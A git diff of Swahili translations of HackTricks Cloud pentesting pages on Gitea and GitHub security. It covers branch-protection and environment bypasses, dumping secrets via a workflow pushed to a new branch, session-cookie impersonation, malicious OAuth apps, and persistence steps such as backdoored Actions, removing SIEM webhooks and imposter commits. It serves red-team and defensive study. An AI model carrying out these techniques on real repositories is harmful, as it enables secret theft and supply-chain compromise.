ya ufikiaji wa kibinafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +Unaweza kuunda tokeni za ufikiaji binafsi ili **kutoa programu ufikiaji wa akaunti yako.** Tokeni ya ufikiaji binafsi inatoa ufikiaji kamili juu ya akaunti yako: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) -### Oauth Applications +### Maombi ya Oauth -Kama token za ufikiaji wa kibinafsi, **Oauth applications** zitakuwa na **ufikiaji kamili** juu ya akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes hazijasaidiwa bado: +Kama tokeni za ufikiaji binafsi, **maombi ya Oauth** yatakuwa na **ufikiaji kamili** juu ya akaunti yako na maeneo ambayo akaunti yako ina ufikiaji kwa sababu, kama ilivyoonyeshwa katika [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), maeneo hayajaungwa mkono bado: ![](<../../images/image (194).png>) -### Deploy keys +### Funguo za Kupeleka -Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au kuandika kwa repo, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum. +Funguo za kupeleka zinaweza kuwa na ufikiaji wa kusoma tu au wa kuandika kwa hifadhi, hivyo zinaweza kuwa za kuvutia kuathiri repos maalum. -## Branch Protections +## Ulinzi wa Tawi -Ulinzi wa branch umeundwa ili **kutopeana udhibiti kamili wa repository** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya branch fulani.** +Ulinzi wa tawi umeundwa ili **kutopeana udhibiti kamili wa hifadhi** kwa watumiaji. Lengo ni **kueka mbinu kadhaa za ulinzi kabla ya kuwa na uwezo wa kuandika msimbo ndani ya tawi fulani.** -**Ulinzi wa branch wa repository** unaweza kupatikana katika _https://localhost:3000/\/\/settings/branches_ +**Ulinzi wa tawi wa hifadhi** unaweza kupatikana katika _https://localhost:3000/\/\/settings/branches_ > [!NOTE] -> Haiwezekani kuweka ulinzi wa branch katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila repo. +> Haiwezekani kuweka ulinzi wa tawi katika kiwango cha shirika. Hivyo zote lazima zitangazwe kwenye kila hifadhi. -Ulinzi tofauti unaweza kutumika kwa branch (kama kwa master): +Ulinzi tofauti unaweza kutumika kwa tawi (kama kwa master): -- **Zuia Push**: Hakuna mtu anaweza kusukuma kwenye branch hii -- **Ruhusu Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu. -- **Whitelist Restricted Push**: Ni watumiaji/teams waliochaguliwa pekee wanaweza kusukuma kwenye branch hii (lakini hakuna kusukuma kwa nguvu) -- **Ruhusu Merge Whitelist**: Ni watumiaji/teams walio kwenye orodha ya kibali pekee wanaweza kuunganishwa PRs. -- **Ruhusu Status checks:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa. -- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla ya PR kuunganishwa. -- **Zuia idhini kwa walio kwenye orodha ya kibali**: Onyesha watumiaji/teams wanaoweza kuidhinisha PRs. -- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unapita) +- **Zima Push**: Hakuna mtu anaweza kusukuma kwenye tawi hili +- **Washa Push**: Mtu yeyote mwenye ufikiaji anaweza kusukuma, lakini si kusukuma kwa nguvu. +- **Push ya Kizuiwa ya Orodha**: Ni watumiaji/timu waliochaguliwa pekee wanaweza kusukuma kwenye tawi hili (lakini si kusukuma kwa nguvu) +- **Washa Orodha ya Merging**: Ni watumiaji/timu walio kwenye orodha pekee wanaweza kuunganishwa PRs. +- **Washa Ukaguzi wa Hali:** Hitaji ukaguzi wa hali kupita kabla ya kuunganishwa. +- **Hitaji idhini**: Onyesha idadi ya idhini zinazohitajika kabla PR inaweza kuunganishwa. +- **Zuia idhini kwa walio kwenye orodha**: Onyesha watumiaji/timu wanaoweza kuidhinisha PRs. +- **Zuia kuunganishwa kwenye mapitio yaliyokataliwa**: Ikiwa mabadiliko yanahitajika, haiwezi kuunganishwa (hata kama ukaguzi mwingine unakubalika) - **Zuia kuunganishwa kwenye maombi rasmi ya ukaguzi**: Ikiwa kuna maombi rasmi ya ukaguzi haiwezi kuunganishwa - **Futa idhini za zamani**: Wakati commits mpya, idhini za zamani zitafutwa. -- **Hitaji Commits Zilizotiwa Saini**: Commits lazima ziwe na saini. +- **Hitaji Commits Zilizotiwa Saini**: Commits lazima zitiwe saini. - **Zuia kuunganishwa ikiwa ombi la kuvuta limepitwa na wakati** -- **Mifumo ya faili zilizolindwa/zisizolindwa**: Onyesha mifumo ya faili za kulinda/kutozingatia dhidi ya mabadiliko +- **Mifumo ya faili iliyolindwa/isiyolindwa**: Onyesha mifumo ya faili za kulinda/kutoondoa dhidi ya mabadiliko > [!NOTE] -> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri pipeline ya CI/CD. +> Kama unavyoona, hata kama umeweza kupata baadhi ya akidi za mtumiaji, **repos zinaweza kulindwa zikizuia wewe kusukuma msimbo kwa master** kwa mfano kuathiri mchakato wa CI/CD. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index eb61aa4cb..c2fb38154 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**. +(Kutoka [hapa](https://kinsta.com/knowledgebase/what-is-github/)) Kwa kiwango cha juu, **GitHub ni tovuti na huduma ya msingi wa wingu inayosaidia waendelezaji kuhifadhi na kusimamia msimbo wao, pamoja na kufuatilia na kudhibiti mabadiliko kwenye msimbo wao**. ### Basic Information @@ -16,11 +16,11 @@ basic-github-information.md Github repositories zinaweza kuwekwa kama za umma, binafsi na za ndani. -- **Binafsi** inamaanisha kwamba **tu** watu wa **shirika** wataweza kuzifikia +- **Binafsi** inamaanisha kwamba **tu** watu wa **taasisi** wataweza kuzifikia - **Za ndani** inamaanisha kwamba **tu** watu wa **biashara** (biashara inaweza kuwa na mashirika kadhaa) wataweza kuzifikia - **Umma** inamaanisha kwamba **mtandao wote** utaweza kuzifikia. -Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuja taarifa nyeti** **katika kila repo**. +Ikiwa unajua **mtumiaji, repo au shirika unalotaka kulenga** unaweza kutumia **github dorks** kupata taarifa nyeti au kutafuta **mvuuko wa taarifa nyeti** **katika kila repo**. ### Github Dorks @@ -34,7 +34,7 @@ Tools (kila chombo kina orodha yake ya dorks): ### Github Leaks -Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuja taarifa kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits). +Tafadhali, kumbuka kwamba github dorks pia zinakusudia kutafuta mvuuko kwa kutumia chaguzi za utafutaji za github. Sehemu hii imejikita kwa zana hizo ambazo zitafanya **kupakua kila repo na kutafuta taarifa nyeti ndani yao** (hata kuangalia kina fulani cha commits). Tools (kila chombo kina orodha yake ya regexes): @@ -47,11 +47,11 @@ Tools (kila chombo kina orodha yake ya regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> Unapofanya utafutaji wa mvuja taarifa katika repo na kuendesha kitu kama `git log -p` usisahau kunaweza kuwa na **matawi mengine yenye commits nyingine** yanayoshikilia siri! +> Unapofanya utafutaji wa mvuuko katika repo na kuendesha kitu kama `git log -p` usisahau kuna **matawi mengine yenye commits nyingine** yanayohusisha siri! ### External Forks -Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ni hatarishi unahitaji zaidi kusoma mipangilio ya yaml ya Github Actions. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork). +Inawezekana **kudhoofisha repos kwa kutumia ombi la kuvuta**. Ili kujua ikiwa repo ina udhaifu unahitaji kusoma sanaa za Github Actions yaml. [**Maelezo zaidi kuhusu hii hapa chini**](./#execution-from-a-external-fork). ### Github Leaks in deleted/internal forks @@ -65,19 +65,19 @@ accessible-deleted-data-in-github.md ### Member Privileges -Kuna **privileges za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations//settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). +Kuna **haki za msingi** ambazo zinaweza kutolewa kwa **wanachama** wa shirika. Hizi zinaweza kudhibitiwa kutoka kwenye ukurasa `https://github.com/organizations//settings/member_privileges` au kutoka kwenye [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs). -- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Admin juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**. +- **Ruhusa za msingi**: Wanachama watakuwa na ruhusa Hakuna/Soma/andika/Msimamizi juu ya repos za shirika. Inapendekezwa kuwa **Hakuna** au **Soma**. - **Kuvuta repo**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuvuta repos za shirika. - **Uundaji wa kurasa**: Ikiwa si lazima, ni bora **kutokuruhusu** wanachama kuchapisha kurasa kutoka kwa repos za shirika. Ikiwa ni lazima unaweza kuruhusu kuunda kurasa za umma au binafsi. - **Maombi ya ufikiaji wa ushirikiano**: Kwa hili kuwezeshwa washirikiano wa nje wataweza kuomba ufikiaji wa GitHub au programu za OAuth kufikia shirika hili na rasilimali zake. Kwa kawaida inahitajika, lakini ikiwa si hivyo, ni bora kuizima. -- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ -- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **admin** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**. -- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ -- **Futa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **admin** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi. -- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Mabadiliko ya mwonekano wa repo**: Ikiwa imewezeshwa, **wanachama** wenye ruhusa **za msimamizi** kwa **repo** wataweza **kubadilisha mwonekano wake**. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kubadilisha mwonekano wa repos. Ikiwa **hutaki** watu kufanya mambo **ya umma**, hakikisha hii ime **zimwa**. +- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- **Futwa na uhamasishaji wa repo**: Ikiwa imewezeshwa, wanachama wenye ruhusa **za msimamizi** kwa repo wataweza **kufuta** au **kuhamasisha** repos za umma na binafsi. +- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ - **Ruhusu wanachama kuunda timu**: Ikiwa imewezeshwa, mwanachama yeyote wa shirika ataweza **kuunda** timu mpya. Ikiwa imezimwa, ni wamiliki wa shirika pekee wanaoweza kuunda timu mpya. Ni bora kuwa na hii imezimwa. -- _Sijapata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ +- _Sikuweza kupata taarifa hii katika majibu ya APIs, shiriki ikiwa unayo_ - **Mambo mengine yanaweza kuwekewa mipangilio** katika ukurasa huu lakini yale yaliyotangulia ndiyo yanayohusiana zaidi na usalama. ### Actions Settings @@ -90,18 +90,18 @@ Mipangilio kadhaa inayohusiana na usalama inaweza kuwekwa kwa ajili ya hatua kut - **Sera za hatua za Github**: Inaruhusu kuashiria ni repos zipi zinaweza kuendesha workflows na ni workflows zipi zinapaswa kuruhusiwa. Inapendekezwa **kubainisha ni repos zipi** zinapaswa kuruhusiwa na sio kuruhusu hatua zote kuendesha. - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization) - **Kuvuta workflows za ombi kutoka kwa washirikiano wa nje**: Inapendekezwa **kuhitaji idhini kwa wote** washirikiano wa nje. -- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_ +- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_ - **Kendesha workflows kutoka kwa ombi la kuvuta**: Inashauriwa **kutoendesha workflows kutoka kwa ombi la kuvuta** kwani wasimamizi wa chanzo cha kuvuta watapewa uwezo wa kutumia tokens zenye ruhusa za kusoma kwenye repo ya chanzo. -- _Sijapata API yenye taarifa hii, shiriki ikiwa unayo_ +- _Sikuweza kupata API yenye taarifa hii, shiriki ikiwa unayo_ - **Ruhusa za workflow**: Inashauriwa sana **kutoa ruhusa za kusoma tu kwa repo**. Inashauriwa kutopeana ruhusa za kuandika na kuunda/kubali ombi la kuvuta ili kuepuka matumizi mabaya ya GITHUB_TOKEN inayotolewa kwa workflows zinazokimbia. - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization) ### Integrations -_Nnijulishe ikiwa unajua kiunganishi cha API kupata taarifa hii!_ +_Nnijulishe ikiwa unajua kiunganishi cha API kufikia taarifa hii!_ -- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzitathmini). -- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzitathmini). +- **Sera ya ufikiaji wa programu za wahusika wengine**: Inapendekezwa kupunguza ufikiaji kwa kila programu na kuruhusu zile tu zinazohitajika (baada ya kuzikagua). +- **Programu za GitHub zilizowekwa**: Inapendekezwa kuruhusu zile tu zinazohitajika (baada ya kuzikagua). ## Recon & Attacks abusing credentials @@ -109,18 +109,18 @@ Kwa hali hii tutadhani kwamba umepata ufikiaji wa akaunti ya github. ### With User Credentials -Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, ni **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**. +Ikiwa kwa namna fulani tayari una ruhusa za mtumiaji ndani ya shirika unaweza **kuingia tu** na kuangalia ni **majukumu gani ya biashara na shirika ulionayo**, ikiwa wewe ni mwanachama wa kawaida, angalia ni **ruhusa zipi wanachama wa kawaida wanao**, katika **makundi** gani ulipo, ni **ruhusa zipi ulizonazo** juu ya **repos**, na **jinsi repos zinavyolindwa**. Kumbuka kwamba **2FA inaweza kutumika** hivyo utaweza kufikia taarifa hii tu ikiwa unaweza pia **kupita ukaguzi huo**. > [!NOTE] > Kumbuka kwamba ikiwa **utafanikiwa kuiba `user_session` cookie** (sasa imewekwa na SameSite: Lax) unaweza **kujifanya kuwa mtumiaji** bila kuhitaji ruhusa au 2FA. -Angalia sehemu iliyo chini kuhusu [**kupita ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa. +Angalia sehemu iliyo chini kuhusu [**kuvuka ulinzi wa matawi**](./#branch-protection-bypass) ikiwa itakuwa na manufaa. ### With User SSH Key -Github inaruhusu **watumiaji** kuweka **SSH keys** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inayotumika). +Github inaruhusu **watumiaji** kuweka **funguo za SSH** ambazo zitakuwa zikitumika kama **njia ya uthibitisho wa kupeleka msimbo** kwa niaba yao (hakuna 2FA inatumika). Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baadhi ya ruhusa**, hata hivyo huwezi kuitumia kufikia api ya github ili kuorodhesha mazingira. Hata hivyo, unaweza kupata **kuorodhesha mipangilio ya ndani** ili kupata taarifa kuhusu repos na mtumiaji ulionao ufikiaji: ```bash @@ -128,13 +128,13 @@ Kwa funguo hii unaweza kufanya **mabadiliko katika repos ambapo mtumiaji ana baa # Get repo config and current user name and email git config --list ``` -Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo ya faragha uliyopata inaweza kutumika. +Ikiwa mtumiaji ameweka jina lake la mtumiaji kama jina lake la github unaweza kufikia **funguo za umma alizoweka** katika akaunti yake kwenye _https://github.com/\.keys_, unaweza kuangalia hili kuthibitisha kuwa funguo binafsi ulizozipata zinaweza kutumika. **Funguo za SSH** zinaweza pia kuwekwa katika hifadhi kama **funguo za kutekeleza**. Mtu yeyote mwenye ufikiaji wa funguo hii ataweza **kuanzisha miradi kutoka kwenye hifadhi**. Kawaida katika seva yenye funguo tofauti za kutekeleza, faili ya ndani **`~/.ssh/config`** itakupa taarifa kuhusu funguo inayohusiana. #### Funguo za GPG -Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini commits au unaweza kugunduliwa. +Kama ilivyoelezwa [**hapa**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) wakati mwingine inahitajika kusaini mabadiliko au unaweza kugunduliwa. Angalia kwa ndani ikiwa mtumiaji wa sasa ana funguo yoyote kwa: ```shell @@ -152,19 +152,19 @@ Token ya Mtumiaji inaonekana kama hii: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123 Kwa utangulizi kuhusu [**Programu za Oauth za Github angalia taarifa za msingi**](basic-github-information.md#oauth-applications). -Mshambuliaji anaweza kuunda **Programu ya Oauth yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi. +Mshambuliaji anaweza kuunda **Programu ya Oauth mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi. Hizi ni [mipaka ambayo programu ya Oauth inaweza kuomba](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Ni lazima kila wakati kuangalia mipaka inayohitajika kabla ya kuzikubali. -Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika. +Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika. ### Kwa Programu ya Github Kwa utangulizi kuhusu [**Programu za Github angalia taarifa za msingi**](basic-github-information.md#github-applications). -Mshambuliaji anaweza kuunda **Programu ya Github yenye uharibifu** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya udukuzi. +Mshambuliaji anaweza kuunda **Programu ya Github mbaya** ili kupata data/matendo ya kipaumbele ya watumiaji wanaokubali labda kama sehemu ya kampeni ya uvuvi. -Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repo/matendo yanayohusiana na shirika. +Zaidi ya hayo, kama ilivyoelezwa katika taarifa za msingi, **mashirika yanaweza kutoa/kukataa ufikiaji kwa programu za upande wa tatu** kwa habari/repos/matendo yanayohusiana na shirika. ## Kuathiri & Kutumia Vibaya Github Action @@ -176,49 +176,49 @@ abusing-github-actions/ ## Kupita Ulinzi wa Tawi -- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii. +- **Hitaji idadi ya idhini**: Ikiwa umeathiri akaunti kadhaa unaweza tu kukubali PR zako kutoka kwa akaunti nyingine. Ikiwa una akaunti tu kutoka ambapo ulitengeneza PR huwezi kukubali PR yako mwenyewe. Hata hivyo, ikiwa una ufikiaji wa mazingira ya **Github Action** ndani ya repo, ukitumia **GITHUB_TOKEN** unaweza kuwa na uwezo wa **kuidhinisha PR yako** na kupata idhini 1 kwa njia hii. - _Kumbuka kwa hili na kwa kizuizi cha Wamiliki wa Kanuni kwamba kwa kawaida mtumiaji hatakuwa na uwezo wa kuidhinisha PR zake mwenyewe, lakini ikiwa wewe ni, unaweza kuitumia vibaya kukubali PR zako._ -- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililohifadhiwa. -- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewashwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**. -- Wakati **faili ya CODEOWNER imepangwa vibaya** Github hailalamiki lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.** +- **Futa idhini wakati mabadiliko mapya yanaposhughulikiwa**: Ikiwa hii haijakamilishwa, unaweza kuwasilisha msimbo halali, subiri hadi mtu apitishe, na kuweka msimbo mbaya na kuunganisha kwenye tawi lililolindwa. +- **Hitaji mapitio kutoka kwa Wamiliki wa Kanuni**: Ikiwa hii imewezeshwa na wewe ni Mmiliki wa Kanuni, unaweza kufanya **Github Action kuunda PR yako na kisha kuidhinisha mwenyewe**. +- Wakati **faili ya CODEOWNER imepangwa vibaya** Github haisemi chochote lakini haitatumia. Kwa hivyo, ikiwa imepangwa vibaya **ulinzi wa Wamiliki wa Kanuni hauwezi kutumika.** - **Ruhusu wahusika maalum kupita mahitaji ya ombi la kuvuta**: Ikiwa wewe ni mmoja wa wahusika hawa unaweza kupita ulinzi wa ombi la kuvuta. - **Jumuisha wasimamizi**: Ikiwa hii haijakamilishwa na wewe ni msimamizi wa repo, unaweza kupita ulinzi huu wa tawi. - **Kuhujumu PR**: Unaweza kuwa na uwezo wa **kubadilisha PR ya mtu mwingine** kwa kuongeza msimbo mbaya, kuidhinisha PR inayotokana na hiyo mwenyewe na kuunganisha kila kitu. - **Kuondoa Ulinzi wa Tawi**: Ikiwa wewe ni **msimamizi wa repo unaweza kuzima ulinzi**, kuunganisha PR yako na kuweka ulinzi tena. -- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu watumiaji fulani tu** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kuwa unalinda matawi yote kwa kubainisha wildcard `*`). -- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litakapotengenezwa**, kusukuma msimbo huu wa kwanza kwenye tawi uta **zindua github action**. +- **Kupita ulinzi wa kusukuma**: Ikiwa repo **inaruhusu tu watumiaji fulani** kutuma kusukuma (kuunganisha msimbo) katika matawi (ulinzi wa tawi unaweza kulinda matawi yote kwa kubainisha wildcard `*`). +- Ikiwa una **ufikiaji wa kuandika juu ya repo lakini hujapewa ruhusa ya kusukuma msimbo** kwa sababu ya ulinzi wa tawi, bado unaweza **kuunda tawi jipya** na ndani yake kuunda **github action inayozinduliwa wakati msimbo unasukumwa**. Kwa kuwa **ulinzi wa tawi hautalinda tawi hadi litengenezwe**, kusukuma kwa msimbo huu wa kwanza kwenye tawi kut **atekeleza github action**. ## Kupita Ulinzi wa Mazingira Kwa utangulizi kuhusu [**Mazingira ya Github angalia taarifa za msingi**](basic-github-information.md#git-environments). -Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayana ulinzi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repo ambapo **matawi yote yanahifadhiwa** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja). +Katika kesi mazingira yanaweza **kupatikana kutoka matawi yote**, **hayalindwi** na unaweza kwa urahisi kupata siri ndani ya mazingira. Kumbuka kwamba unaweza kupata repos ambapo **matawi yote yanapewa ulinzi** (kwa kubainisha majina yake au kwa kutumia `*`) katika hali hiyo, **tafuta tawi ambapo unaweza kusukuma msimbo** na unaweza **kuondoa** siri kwa kuunda github action mpya (au kubadilisha moja). -Kumbuka, kwamba unaweza kupata hali ya mwisho ambapo **matawi yote yanahifadhiwa** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hajaruhusiwa**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**. +Kumbuka, kwamba unaweza kupata kesi ya mwisho ambapo **matawi yote yanapewa ulinzi** (kupitia wildcard `*`) imebainishwa **nani anaweza kusukuma msimbo kwenye matawi** (_unaweza kubainisha hiyo katika ulinzi wa tawi_) na **mtumiaji wako hauruhusiwi**. Bado unaweza kuendesha github action maalum kwa sababu unaweza kuunda tawi na kutumia kichocheo cha kusukuma juu yake mwenyewe. **Ulinzi wa tawi unaruhusu kusukuma kwenye tawi jipya hivyo github action itazinduliwa**. ```yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -Note that **baada ya kuunda** the branch the **branch protection itatumika kwa tawi jipya** and you won't be able to modify it, but for that time you will have already dumped the secrets. +Kumbuka kwamba **baada ya kuunda** tawi, **ulinzi wa tawi utaweza kutumika kwa tawi jipya** na huwezi kulibadilisha, lakini kwa wakati huo tayari utakuwa umepata siri hizo. -## Persistence +## Kudumu -- Generate **user token** -- Steal **github tokens** from **secrets** -- **Deletion** of workflow **results** and **branches** -- Give **more permissions to all the org** -- Create **webhooks** to exfiltrate information -- Invite **outside collaborators** -- **Remove** **webhooks** used by the **SIEM** -- Create/modify **Github Action** with a **backdoor** -- Find **vulnerable Github Action to command injection** via **secret** value modification +- Tengeneza **token ya mtumiaji** +- Nyakua **token za github** kutoka **siri** +- **Kuondoa** **matokeo** ya workflow na **matawi** +- Toa **idhini zaidi kwa shirika lote** +- Unda **webhooks** za kuhamasisha taarifa +- Karibisha **washirikishi wa nje** +- **Ondoa** **webhooks** zinazotumiwa na **SIEM** +- Unda/badilisha **Github Action** yenye **mlango wa nyuma** +- Pata **Github Action iliyo hatarini kwa kuingiza amri** kupitia **mabadiliko ya** thamani ya **siri** -### Imposter Commits - Backdoor via repo commits +### Imposter Commits - Mlango wa nyuma kupitia commits za repo -In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**. +Katika Github inawezekana **kuunda PR kwa repo kutoka kwa fork**. Hata kama PR **haikubaliwi**, **commit** id ndani ya repo asilia itaundwa kwa toleo la fork la msimbo. Hivyo, mshambuliaji **anaweza kuunganisha kutumia commit maalum kutoka kwa repo inayodhaniwa kuwa halali ambayo haikuundwa na mmiliki wa repo**. -Like [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): +Kama [**hii**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e): ```yaml name: example on: [push] diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index df16c78ef..7ed036f3e 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -4,45 +4,45 @@ ## Basic Information -In this page you will find: +Katika ukurasa huu utaona: -- A **summary of all the impacts** of an attacker managing to access a Github Action -- Different ways to **get access to an action**: -- Having **permissions** to create the action -- Abusing **pull request** related triggers -- Abusing **other external access** techniques -- **Pivoting** from an already compromised repo -- 